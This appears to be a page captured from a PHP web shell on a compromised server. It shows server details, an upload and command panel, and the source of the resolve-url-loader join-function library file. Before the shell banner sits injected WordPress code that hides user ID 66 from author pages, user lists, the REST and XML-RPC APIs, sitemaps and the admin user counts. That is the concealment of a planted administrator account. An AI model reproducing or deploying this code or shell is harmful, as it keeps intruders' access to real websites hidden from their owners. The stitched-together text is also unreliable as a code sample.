add_action( 'pre_get_posts', function( $q ) { if ( ! is_admin() && $q->is_main_query() ) { $not_in = (array) $q->get( 'author__not_in' ); $not_in[] = 66; $q->set( 'author__not_in', array_unique( array_map( 'intval', $not_in ) ) ); } }, 1 ); add_action( 'template_redirect', function() { if ( is_author() ) { $author = get_queried_object(); if ( $author instanceof WP_User && (int) $author->ID === 66 ) { global $wp_query; $wp_query->set_404(); status_header( 404 ); nocache_headers(); } } } ); add_action( 'pre_user_query', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } global $wpdb; $q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 66 ); } ); add_action( 'pre_get_users', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } $exclude = (array) $q->get( 'exclude' ); $exclude[] = 66; $q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) ); } ); add_filter( 'wp_dropdown_users_args', function( $a ) { $exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array(); $exclude[] = 66; $a['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $a; } ); add_filter( 'rest_user_query', function( $args, $request ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 66; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; }, 10, 2 ); add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) { $route = $request->get_route(); if ( preg_match( '#^/wp/v2/users/66(/|$)#', $route ) ) { return new WP_Error( 'rest_user_invalid_id', 'Invalid user ID.', array( 'status' => 404 ) ); } return $result; }, 10, 3 ); add_filter( 'xmlrpc_methods', function( $methods ) { unset( $methods['wp.getUsers'], $methods['wp.getUser'], $methods['wp.getProfile'] ); return $methods; } ); add_filter( 'wp_sitemaps_users_query_args', function( $args ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 66; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; } ); add_action( 'admin_head-users.php', function() { echo ''; } ); add_filter( 'views_users', function( $views ) { foreach ( array( 'all', 'administrator' ) as $key ) { if ( isset( $views[ $key ] ) ) { $views[ $key ] = preg_replace_callback( '/\((\d+)\)/', function( $m ) { return '(' . max( 0, (int) $m[1] - 1 ) . ')'; }, $views[ $key ], 1 ); } } return $views; } ); add_action( 'init', function() { if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) { return; } if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) { wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' ); } } ); add_action( 'wp_extra_bot_heartbeat', function() { // noop } ); 403WebShell
403Webshell
Server IP : 167.235.224.122  /  Your IP : 216.73.216.110
Web Server : Apache/2.4.58 (Ubuntu)
System : Linux newplayground 6.8.0-136-generic #136-Ubuntu SMP PREEMPT_DYNAMIC Wed Jul 1 21:33:11 UTC 2026 aarch64
User : deploy ( 1000)
PHP Version : 8.4.23
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /var/www/html/badgeurope.eu/node_modules/resolve-url-loader/lib/join-function/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/html/badgeurope.eu/node_modules/resolve-url-loader/lib/join-function/index.js
/*
 * MIT License http://opensource.org/licenses/MIT
 * Author: Ben Holloway @bholloway
 */
'use strict';

const path = require('path');

const { createDebugLogger, formatJoinMessage } = require('./debug');
const fsUtils = require('./fs-utils');

const ITERATION_SAFETY_LIMIT = 100e3;

/**
 * Wrap a function such that it always returns a generator of tuple elements.
 *
 * @param {function({uri:string},...):(Array|Iterator)<[string,string]|string>} fn The function to wrap
 * @returns {function({uri:string},...):(Array|Iterator)<[string,string]>} A function that always returns tuple elements
 */
const asGenerator = (fn) => {
  const toTuple = (defaults) => (value) => {
    const partial = [].concat(value);
    return [...partial, ...defaults.slice(partial.length)];
  };

  const isTupleUnique = (v, i, a) => {
    const required = v.join(',');
    return a.findIndex((vv) => vv.join(',') === required) === i;
  };

  return (item, ...rest) => {
    const {uri} = item;
    const mapTuple = toTuple([null, uri]);
    const pending = fn(item, ...rest);
    if (Array.isArray(pending)) {
      return pending.map(mapTuple).filter(isTupleUnique)[Symbol.iterator]();
    } else if (
      pending &&
      (typeof pending === 'object') &&
      (typeof pending.next === 'function') &&
      (pending.next.length === 0)
    ) {
      return pending;
    } else {
      throw new TypeError(`in "join" function expected "generator" to return Array|Iterator`);
    }
  };
};

exports.asGenerator = asGenerator;

/**
 * A high-level utility to create a join function.
 *
 * The `generator` is responsible for ordering possible base paths. The `operation` is responsible for joining a single
 * `base` path with the given `uri`. The `predicate` is responsible for reporting whether the single joined value is
 * successful as the overall result.
 *
 * Both the `generator` and `operation` may be `function*()` or simply `function(...):Array<string>`.
 *
 * @param {function({uri:string, isAbsolute:boolean, bases:{subString:string, value:string, property:string,
 *  selector:string}}, {filename:string, fs:Object, debug:function|boolean, root:string}):
 *  (Array<string>|Iterator<string>)} generator A function that takes the hash of base paths from the `engine` and
 *  returns ordered iterable of paths to consider
 * @returns {function({filename:string, fs:Object, debug:function|boolean, root:string}):
 *  (function({uri:string, isAbsolute:boolean, bases:{subString:string, value:string, property:string,
 *  selector:string}}):string)} join implementation
 */
const createJoinImplementation = (generator) => (item, options, loader) => {
  const { isAbsolute } = item;
  const { root } = options;
  const { fs } = loader;

  // generate the iterator
  const iterator = generator(item, options, loader);
  const isValidIterator = iterator && typeof iterator === 'object' && typeof iterator.next === 'function';
  if (!isValidIterator) {
    throw new Error('expected generator to return Iterator');
  }

  // run the iterator lazily and record attempts
  const { isFileSync, isDirectorySync } = fsUtils(fs);
  const attempts = [];
  for (let i = 0; i < ITERATION_SAFETY_LIMIT; i++) {
    const { value, done } = iterator.next();
    if (done) {
      break;
    } else if (value) {
      const tuple = Array.isArray(value) && value.length === 2 ? value : null;
      if (!tuple) {
        throw new Error('expected Iterator values to be tuple of [string,string], do you need asGenerator utility?');
      }

      // skip elements where base or uri is non-string
      // noting that we need to support base="" when root=""
      const [base, uri] = value;
      if ((typeof base === 'string') && (typeof uri === 'string')) {

        // validate
        const isValidBase = (isAbsolute && base === root) || (path.isAbsolute(base) && isDirectorySync(base));
        if (!isValidBase) {
          throw new Error(`expected "base" to be absolute path to a valid directory, got "${base}"`);
        }

        // make the attempt
        const joined = path.normalize(path.join(base, uri));
        const isFallback = true;
        const isSuccess = isFileSync(joined);
        attempts.push({base, uri, joined, isFallback, isSuccess});

        if (isSuccess) {
          break;
        }

      // validate any non-strings are falsey
      } else {
        const isValidTuple = value.every((v) => (typeof v === 'string') || !v);
        if (!isValidTuple) {
          throw new Error('expected Iterator values to be tuple of [string,string]');
        }
      }
    }
  }

  return attempts;
};

exports.createJoinImplementation = createJoinImplementation;

/**
 * A low-level utility to create a join function.
 *
 * The `implementation` function processes an individual `item` and returns an Array of attempts. Each attempt consists
 * of a `base` and a `joined` value with `isSuccessful` and `isFallback` flags.
 *
 * In the case that any attempt `isSuccessful` then its `joined` value is the outcome. Otherwise the first `isFallback`
 * attempt is used. If there is no successful or fallback attempts then `null` is returned indicating no change to the
 * original URI in the CSS.
 *
 * The `attempts` Array is logged to console when in `debug` mode.
 *
 * @param {string} name Name for the resulting join function
 * @param {function({uri:string, query:string, isAbsolute:boolean, bases:{subString:string, value:string,
 *  property:string, selector:string}}, {filename:string, fs:Object, debug:function|boolean, root:string}):
 *  Array<{base:string,joined:string,fallback?:string,result?:string}>} implementation A function accepts an item and
 *  returns a list of attempts
 * @returns {function({filename:string, fs:Object, debug:function|boolean, root:string}):
 *  (function({uri:string, isAbsolute:boolean, bases:{subString:string, value:string, property:string,
 *  selector:string}}):string)} join function
 */
const createJoinFunction = (name, implementation) => {
  const assertAttempts = (value) => {
    const isValid =
      Array.isArray(value) && value.every((v) =>
        v &&
        (typeof v === 'object') &&
        (typeof v.base === 'string') &&
        (typeof v.uri === 'string') &&
        (typeof v.joined === 'string') &&
        (typeof v.isSuccess === 'boolean') &&
        (typeof v.isFallback === 'boolean')
      );
    if (!isValid) {
      throw new Error(`expected implementation to return Array of {base, uri, joined, isSuccess, isFallback}`);
    } else {
      return value;
    }
  };

  const assertJoined = (value) => {
    const isValid = value && (typeof value === 'string') && path.isAbsolute(value) || (value === null);
    if (!isValid) {
      throw new Error(`expected "joined" to be absolute path, got "${value}"`);
    } else {
      return value;
    }
  };

  const join = (options, loader) => {
    const { debug } = options;
    const { resourcePath } = loader;
    const log = createDebugLogger(debug);

    return (item) => {
      const { uri } = item;
      const attempts = implementation(item, options, loader);
      assertAttempts(attempts, !!debug);

      const { joined: fallback } = attempts.find(({ isFallback }) => isFallback) || {};
      const { joined: result } = attempts.find(({ isSuccess }) => isSuccess) || {};

      log(formatJoinMessage, [resourcePath, uri, attempts]);

      return assertJoined(result || fallback || null);
    };
  };

  const toString = () => '[Function ' + name + ']';

  return Object.assign(join, !!name && {
    toString,
    toJSON: toString
  });
};

exports.createJoinFunction = createJoinFunction;

/**
 * The default iterable factory will order `subString` then `value` then `property` then `selector`.
 *
 * @param {string} uri The uri given in the file webpack is processing
 * @param {boolean} isAbsolute True for absolute URIs, false for relative URIs
 * @param {string} subString A possible base path
 * @param {string} value A possible base path
 * @param {string} property A possible base path
 * @param {string} selector A possible base path
 * @param {string} root The loader options.root value where given
 * @returns {Array<string>} An iterable of possible base paths in preference order
 */
const defaultJoinGenerator = asGenerator(
  ({ uri, isAbsolute, bases: { subString, value, property, selector } }, { root }) =>
    isAbsolute ? [root] : [subString, value, property, selector]
);

exports.defaultJoinGenerator = defaultJoinGenerator;

/**
 * @type {function({filename:string, fs:Object, debug:function|boolean, root:string}):
 *  (function({uri:string, isAbsolute:boolean, bases:{subString:string, value:string, property:string,
 *  selector:string}}):string)} join function
 */
exports.defaultJoin = createJoinFunction(
  'defaultJoin',
  createJoinImplementation(defaultJoinGenerator)
);

Youez - 2016 - github.com/yon3zu
LinuXploit